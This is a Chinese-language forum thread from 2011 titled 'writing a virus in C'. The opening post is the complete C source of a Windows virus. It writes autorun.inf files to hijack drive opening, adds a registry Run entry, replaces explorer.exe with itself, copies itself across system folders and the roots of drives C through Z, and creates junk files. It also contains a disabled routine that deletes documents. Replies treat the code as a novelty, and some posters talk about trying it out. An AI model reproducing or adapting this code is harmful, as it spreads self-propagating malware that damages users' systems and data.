鱼C论坛

 找回密码
 立即注册
查看: 8637|回复: 51

[技术交流] 用c语言写病毒

  [复制链接]
发表于 2011-12-27 15:59:27 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
#include<stdio.h> /*标准输入输出*/
#include<string.h> /*字符串操作*/
#include<stdlib.h> /*其它函数*/
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/
#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM  5 /*删除文件数*/
/*====================================================================*/
/*
  文件AUTORUN.INF内容:
  1.自动运行SVCHOST.com
  2.覆盖默认打开命令,使用病毒体作为新的打开方式
  3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
  添加注册表项:
  1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
  函数:复制文件
  复制源:infile
  目的地:outfile
  成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
/*=====================================================================*/
/*
  函数:通过explorer自动运行
  成功返回0,失败返回1,2
*/
int autorun_explorer()
{
    FILE *input;
    if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
      fclose(input);
      remove("c:\\windows\\$temp$");
      remove("c:\\windows\\system32\\dllcache\\$temp$");
      return 1;
    }
    copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
    rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
    rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32\\dllcache\\$temp$");
    if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
      return 0;
    else
      return 2;
}
/*=====================================================================*/
/*
  函数:添加注册表项
  成功返回0,失败返回1
*/
int add_reg()
{
    FILE *output;
    if((output=fopen("$$$$$","w"))!=NULL)
    {
      fprintf(output,regadd);
      fclose(output);
      spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
    }
}
/*=====================================================================*/
/*
  函数:复制病毒 + Autorun.inf自动运行
*/
void copy_virus()
{
    int i,k;
    FILE *input,*output;
    char *files_svchost[SVCHOST_NUM]={"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
    char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost,"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<SVCHOST_NUM;k++)
        {
          copy(files_svchost,files_svchost[k]);
        }
        i=SVCHOST_NUM;
      }
    }
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost,"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<24;k++)
        {
          copy(files_svchost,temp[0]);
          if((output=fopen(temp[1],"w"))!=NULL)
          {
            fprintf(output,"%s",autorun);
            fclose(output);
          }
          temp[0][0]++;
          temp[1][0]++;
        }
        i=SVCHOST_NUM;
      }
    }
}
/*=====================================================================*/
/*
  函数:制造垃圾文件
*/
void make_rubbish()
{
     int i;
     FILE *output;
     srand(0);
     for(i=0;i<RUBBISH_NUM;i++)
     {
       int n;
       char s[30];
       n=rand();
       sprintf(s,"C:\\DESTORY_感染_%d",n);
       if((output=fopen(s,"w"))!=NULL)
       {
         fprintf(output,"%ld%s",n*n,s);
         fclose(output);
       }
     }
}
/*=====================================================================*/
/*
  函数:删除文件
*/
void remove_files()
{
    long done;
    int i;
    struct _finddata_t ffblk;
    char *remove_files[3]={"*.txt","*.doc","*.xls"};
    for(i=0;i<3;i++)
    {
      if(_findfirst(remove_files,&ffblk)==-1) continue;
      while(!done)
      {
        remove(ffblk.name);
        _findnext(done,&ffblk);
      }
      _findclose(done);
    }
}
/*=====================================================================*/
/*
  主程序
  使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char **argv)
{
    int contral=0;
    if(argc>1)
      if(strcmp(argv[1],"/s")==0)
        goto next1;
    autorun_explorer();
    spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
    next1:
    add_reg();
    copy_virus();
    make_rubbish();
    /* remove_files(); */
    spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
    return 0;
}

评分

参与人数 1鱼币 +5 收起 理由
小甲鱼 + 5 赞一个!

查看全部评分

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2011-12-27 16:00:27 | 显示全部楼层
自己做沙发,看看有木有奖励,人品啊
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2011-12-27 16:00:44 | 显示全部楼层
:Q可惜没有
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2011-12-27 16:01:08 | 显示全部楼层
还是没有。。。求人品
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-27 16:29:34 | 显示全部楼层
进来打开箱子中招了。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2011-12-27 16:36:45 | 显示全部楼层
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-27 16:38:13 | 显示全部楼层

回帖奖励 +3 鱼币

YJL 发表于 2011-12-27 16:36
哈哈。。,悲剧了你

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-27 16:51:40 | 显示全部楼层

回帖奖励 +3 鱼币

........人品来了,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-27 21:17:12 From FishC Mobile | 显示全部楼层
楼主的病毒作用(目的)是什么?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-28 00:39:19 | 显示全部楼层
楼主  杀软报毒吗?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-28 01:19:14 | 显示全部楼层
{:1_1:} nhhh
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-28 04:17:26 | 显示全部楼层
汇编指令大全
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2011-12-29 07:00:56 | 显示全部楼层
目的是让暂用电脑资源,把电脑累死。。。:lol
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-29 08:17:07 | 显示全部楼层
:D 找地方测试去,,,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-29 10:18:21 | 显示全部楼层
暂时学习一下!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-29 10:32:58 | 显示全部楼层
学习学习
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-31 00:02:28 | 显示全部楼层
怎么感觉好像神马
只看头像
笑看无语
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-31 18:16:02 | 显示全部楼层
强大啊,我记得有人说过一些话,这里就不说了,呵呵
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-31 18:26:38 | 显示全部楼层
这个不错 看看
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2011-12-31 18:59:02 | 显示全部楼层
这么好的东西,不试验可惜,可惜啊。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-5-15 03:45

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表